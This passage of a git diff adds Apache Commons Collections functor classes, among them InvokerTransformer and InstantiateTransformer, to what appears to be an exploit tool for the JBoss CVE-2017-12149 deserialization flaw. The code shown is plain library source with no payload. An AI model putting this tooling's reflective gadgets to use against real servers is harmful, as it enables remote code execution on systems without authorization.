+ */
+public final class IdentityPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -89901658494523293L;
+
+
+ /** The value to compare to */
+ private final Object iValue;
+
+ /**
+ * Factory to create the identity predicate.
+ *
+ * @param object the object to compare to
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Object object) {
+ if (object == null) {
+ return NullPredicate.INSTANCE;
+ }
+ return new IdentityPredicate(object);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param object the object to compare to
+ */
+ public IdentityPredicate(Object object) {
+ super();
+ iValue = object;
+ }
+
+ /**
+ * Evaluates the predicate returning true if the input object is identical to
+ * the stored object.
+ *
+ * @param object the input object
+ * @return true if input is the same object as the stored value
+ */
+ public boolean evaluate(Object object) {
+ return (iValue == object);
+ }
+
+ /**
+ * Gets the value.
+ *
+ * @return the value
+ * @since Commons Collections 3.1
+ */
+ public Object getValue() {
+ return iValue;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IfClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IfClosure.java"
new file mode 100644
index 0000000..19b4038
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IfClosure.java"
@@ -0,0 +1,121 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Closure implementation acts as an if statement calling one or other closure
+ * based on a predicate.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class IfClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3518477308466486130L;
+
+ /** The test */
+ private final Predicate iPredicate;
+ /** The closure to use if true */
+ private final Closure iTrueClosure;
+ /** The closure to use if false */
+ private final Closure iFalseClosure;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param predicate predicate to switch on
+ * @param trueClosure closure used if true
+ * @param falseClosure closure used if false
+ * @return the if
closure
+ * @throws IllegalArgumentException if any argument is null
+ */
+ public static Closure getInstance(Predicate predicate, Closure trueClosure, Closure falseClosure) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ if (trueClosure == null || falseClosure == null) {
+ throw new IllegalArgumentException("Closures must not be null");
+ }
+ return new IfClosure(predicate, trueClosure, falseClosure);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate predicate to switch on, not null
+ * @param trueClosure closure used if true, not null
+ * @param falseClosure closure used if false, not null
+ */
+ public IfClosure(Predicate predicate, Closure trueClosure, Closure falseClosure) {
+ super();
+ iPredicate = predicate;
+ iTrueClosure = trueClosure;
+ iFalseClosure = falseClosure;
+ }
+
+ /**
+ * Executes the true or false closure accoring to the result of the predicate.
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ if (iPredicate.evaluate(input) == true) {
+ iTrueClosure.execute(input);
+ } else {
+ iFalseClosure.execute(input);
+ }
+ }
+
+ /**
+ * Gets the predicate.
+ *
+ * @return the predicate
+ * @since Commons Collections 3.1
+ */
+ public Predicate getPredicate() {
+ return iPredicate;
+ }
+
+ /**
+ * Gets the closure called when true.
+ *
+ * @return the closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getTrueClosure() {
+ return iTrueClosure;
+ }
+
+ /**
+ * Gets the closure called when false.
+ *
+ * @return the closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getFalseClosure() {
+ return iFalseClosure;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstanceofPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstanceofPredicate.java"
new file mode 100644
index 0000000..da3ec92
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstanceofPredicate.java"
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is an instanceof
+ * the type stored in this predicate.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class InstanceofPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -6682656911025165584L;
+
+ /** The type to compare to */
+ private final Class iType;
+
+ /**
+ * Factory to create the identity predicate.
+ *
+ * @param type the type to check for, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the class is null
+ */
+ public static Predicate getInstance(Class type) {
+ if (type == null) {
+ throw new IllegalArgumentException("The type to check instanceof must not be null");
+ }
+ return new InstanceofPredicate(type);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param type the type to check for
+ */
+ public InstanceofPredicate(Class type) {
+ super();
+ iType = type;
+ }
+
+ /**
+ * Evaluates the predicate returning true if the input object is of the correct type.
+ *
+ * @param object the input object
+ * @return true if input is of stored type
+ */
+ public boolean evaluate(Object object) {
+ return (iType.isInstance(object));
+ }
+
+ /**
+ * Gets the type to compare to.
+ *
+ * @return the type
+ * @since Commons Collections 3.1
+ */
+ public Class getType() {
+ return iType;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateFactory.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateFactory.java"
new file mode 100644
index 0000000..6f4cac9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateFactory.java"
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.FunctorException;
+
+/**
+ * Factory implementation that creates a new object instance by reflection.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class InstantiateFactory implements Factory, Serializable {
+
+ /** The serial version */
+ static final long serialVersionUID = -7732226881069447957L;
+
+ /** The class to create */
+ private final Class iClassToInstantiate;
+ /** The constructor parameter types */
+ private final Class[] iParamTypes;
+ /** The constructor arguments */
+ private final Object[] iArgs;
+ /** The constructor */
+ private transient Constructor iConstructor = null;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param classToInstantiate the class to instantiate, not null
+ * @param paramTypes the constructor parameter types
+ * @param args the constructor arguments
+ * @return a new instantiate factory
+ */
+ public static Factory getInstance(Class classToInstantiate, Class[] paramTypes, Object[] args) {
+ if (classToInstantiate == null) {
+ throw new IllegalArgumentException("Class to instantiate must not be null");
+ }
+ if (((paramTypes == null) && (args != null))
+ || ((paramTypes != null) && (args == null))
+ || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
+ throw new IllegalArgumentException("Parameter types must match the arguments");
+ }
+
+ if (paramTypes == null || paramTypes.length == 0) {
+ return new InstantiateFactory(classToInstantiate);
+ } else {
+ paramTypes = (Class[]) paramTypes.clone();
+ args = (Object[]) args.clone();
+ return new InstantiateFactory(classToInstantiate, paramTypes, args);
+ }
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param classToInstantiate the class to instantiate
+ */
+ public InstantiateFactory(Class classToInstantiate) {
+ super();
+ iClassToInstantiate = classToInstantiate;
+ iParamTypes = null;
+ iArgs = null;
+ findConstructor();
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param classToInstantiate the class to instantiate
+ * @param paramTypes the constructor parameter types, not cloned
+ * @param args the constructor arguments, not cloned
+ */
+ public InstantiateFactory(Class classToInstantiate, Class[] paramTypes, Object[] args) {
+ super();
+ iClassToInstantiate = classToInstantiate;
+ iParamTypes = paramTypes;
+ iArgs = args;
+ findConstructor();
+ }
+
+ /**
+ * Find the Constructor for the class specified.
+ */
+ private void findConstructor() {
+ try {
+ iConstructor = iClassToInstantiate.getConstructor(iParamTypes);
+
+ } catch (NoSuchMethodException ex) {
+ throw new IllegalArgumentException("InstantiateFactory: The constructor must exist and be public ");
+ }
+ }
+
+ /**
+ * Creates an object using the stored constructor.
+ *
+ * @return the new object
+ */
+ public Object create() {
+ // needed for post-serialization
+ if (iConstructor == null) {
+ findConstructor();
+ }
+
+ try {
+ return iConstructor.newInstance(iArgs);
+
+ } catch (InstantiationException ex) {
+ throw new FunctorException("InstantiateFactory: InstantiationException", ex);
+ } catch (IllegalAccessException ex) {
+ throw new FunctorException("InstantiateFactory: Constructor must be public", ex);
+ } catch (InvocationTargetException ex) {
+ throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateTransformer.java"
new file mode 100644
index 0000000..f69af60
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateTransformer.java"
@@ -0,0 +1,118 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that creates a new object instance by reflection.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class InstantiateTransformer implements Transformer, Serializable {
+
+ /** The serial version */
+ static final long serialVersionUID = 3786388740793356347L;
+
+ /** Singleton instance that uses the no arg constructor */
+ public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
+
+ /** The constructor parameter types */
+ private final Class[] iParamTypes;
+ /** The constructor arguments */
+ private final Object[] iArgs;
+
+ /**
+ * Transformer method that performs validation.
+ *
+ * @param paramTypes the constructor parameter types
+ * @param args the constructor arguments
+ * @return an instantiate transformer
+ */
+ public static Transformer getInstance(Class[] paramTypes, Object[] args) {
+ if (((paramTypes == null) && (args != null))
+ || ((paramTypes != null) && (args == null))
+ || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
+ throw new IllegalArgumentException("Parameter types must match the arguments");
+ }
+
+ if (paramTypes == null || paramTypes.length == 0) {
+ return NO_ARG_INSTANCE;
+ } else {
+ paramTypes = (Class[]) paramTypes.clone();
+ args = (Object[]) args.clone();
+ }
+ return new InstantiateTransformer(paramTypes, args);
+ }
+
+ /**
+ * Constructor for no arg instance.
+ */
+ private InstantiateTransformer() {
+ super();
+ iParamTypes = null;
+ iArgs = null;
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param paramTypes the constructor parameter types, not cloned
+ * @param args the constructor arguments, not cloned
+ */
+ public InstantiateTransformer(Class[] paramTypes, Object[] args) {
+ super();
+ iParamTypes = paramTypes;
+ iArgs = args;
+ }
+
+ /**
+ * Transforms the input Class object to a result by instantiation.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ try {
+ if (input instanceof Class == false) {
+ throw new FunctorException(
+ "InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ + (input == null ? "null object" : input.getClass().getName()));
+ }
+ Constructor con = ((Class) input).getConstructor(iParamTypes);
+ return con.newInstance(iArgs);
+
+ } catch (NoSuchMethodException ex) {
+ throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
+ } catch (InstantiationException ex) {
+ throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
+ } catch (IllegalAccessException ex) {
+ throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
+ } catch (InvocationTargetException ex) {
+ throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InvokerTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InvokerTransformer.java"
new file mode 100644
index 0000000..1928030
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InvokerTransformer.java"
@@ -0,0 +1,136 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that creates a new object instance by reflection.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
+ *
+ * @author Stephen Colebourne
+ */
+public class InvokerTransformer implements Transformer, Serializable {
+
+ /** The serial version */
+ static final long serialVersionUID = -8653385846894047688L;
+
+ /** The method name to call */
+ private final String iMethodName;
+ /** The array of reflection parameter types */
+ private final Class[] iParamTypes;
+ /** The array of reflection arguments */
+ private final Object[] iArgs;
+
+ /**
+ * Gets an instance of this transformer calling a specific method with no arguments.
+ *
+ * @param methodName the method name to call
+ * @return an invoker transformer
+ * @since Commons Collections 3.1
+ */
+ public static Transformer getInstance(String methodName) {
+ if (methodName == null) {
+ throw new IllegalArgumentException("The method to invoke must not be null");
+ }
+ return new InvokerTransformer(methodName);
+ }
+
+ /**
+ * Gets an instance of this transformer calling a specific method with specific values.
+ *
+ * @param methodName the method name to call
+ * @param paramTypes the parameter types of the method
+ * @param args the arguments to pass to the method
+ * @return an invoker transformer
+ */
+ public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
+ if (methodName == null) {
+ throw new IllegalArgumentException("The method to invoke must not be null");
+ }
+ if (((paramTypes == null) && (args != null))
+ || ((paramTypes != null) && (args == null))
+ || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
+ throw new IllegalArgumentException("The parameter types must match the arguments");
+ }
+ if (paramTypes == null || paramTypes.length == 0) {
+ return new InvokerTransformer(methodName);
+ } else {
+ paramTypes = (Class[]) paramTypes.clone();
+ args = (Object[]) args.clone();
+ return new InvokerTransformer(methodName, paramTypes, args);
+ }
+ }
+
+ /**
+ * Constructor for no arg instance.
+ *
+ * @param methodName the method to call
+ */
+ private InvokerTransformer(String methodName) {
+ super();
+ iMethodName = methodName;
+ iParamTypes = null;
+ iArgs = null;
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param methodName the method to call
+ * @param paramTypes the constructor parameter types, not cloned
+ * @param args the constructor arguments, not cloned
+ */
+ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
+ super();
+ iMethodName = methodName;
+ iParamTypes = paramTypes;
+ iArgs = args;
+ }
+
+ /**
+ * Transforms the input to result by invoking a method on the input.
+ *
+ * @param input the input object to transform
+ * @return the transformed result, null if null input
+ */
+ public Object transform(Object input) {
+ if (input == null) {
+ return null;
+ }
+ try {
+ Class cls = input.getClass();
+ Method method = cls.getMethod(iMethodName, iParamTypes);
+ return method.invoke(input, iArgs);
+
+ } catch (NoSuchMethodException ex) {
+ throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
+ } catch (IllegalAccessException ex) {
+ throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
+ } catch (InvocationTargetException ex) {
+ throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/MapTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/MapTransformer.java"
new file mode 100644
index 0000000..7b2a546
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/MapTransformer.java"
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Map;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that returns the value held in a specified map
+ * using the input parameter as a key.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class MapTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 862391807045468939L;
+
+ /** The map of data to lookup in */
+ private final Map iMap;
+
+ /**
+ * Factory to create the transformer.
+ * getInstance
if you want that.
+ *
+ * @param map the map to use for lookup, not cloned
+ */
+ private MapTransformer(Map map) {
+ super();
+ iMap = map;
+ }
+
+ /**
+ * Transforms the input to result by looking it up in a Map
.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ return iMap.get(input);
+ }
+
+ /**
+ * Gets the map to lookup in.
+ *
+ * @return the map
+ * @since Commons Collections 3.1
+ */
+ public Map getMap() {
+ return iMap;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPClosure.java"
new file mode 100644
index 0000000..98ca690
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPClosure.java"
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+
+/**
+ * Closure implementation that does nothing.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class NOPClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3518477308466486130L;
+
+ /** Singleton predicate instance */
+ public static final Closure INSTANCE = new NOPClosure();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Closure getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Constructor
+ */
+ private NOPClosure() {
+ super();
+ }
+
+ /**
+ * Do nothing.
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ // do nothing
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPTransformer.java"
new file mode 100644
index 0000000..080f180
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPTransformer.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that does nothing.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class NOPTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 2133891748318574490L;
+
+ /** Singleton predicate instance */
+ public static final Transformer INSTANCE = new NOPTransformer();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Transformer getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Constructor
+ */
+ private NOPTransformer() {
+ super();
+ }
+
+ /**
+ * Transforms the input to result by doing nothing.
+ *
+ * @param input the input object to transform
+ * @return the transformed result which is the input
+ */
+ public Object transform(Object input) {
+ return input;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NonePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NonePredicate.java"
new file mode 100644
index 0000000..e914ab8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NonePredicate.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if none of the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NonePredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 2007613066565892961L;
+
+ /** The array of predicates to call */
+ private final Predicate[] iPredicates;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the any
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate getInstance(Predicate[] predicates) {
+ FunctorUtils.validateMin2(predicates);
+ predicates = FunctorUtils.copy(predicates);
+ return new NonePredicate(predicates);
+ }
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the one
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if any predicate in the array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ */
+ public static Predicate getInstance(Collection predicates) {
+ Predicate[] preds = FunctorUtils.validate(predicates);
+ return new NonePredicate(preds);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates the predicates to check, not cloned, not null
+ */
+ public NonePredicate(Predicate[] predicates) {
+ super();
+ iPredicates = predicates;
+ }
+
+ /**
+ * Evaluates the predicate returning false if any stored predicate returns false.
+ *
+ * @param object the input object
+ * @return true if none of decorated predicates return true
+ */
+ public boolean evaluate(Object object) {
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(object)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
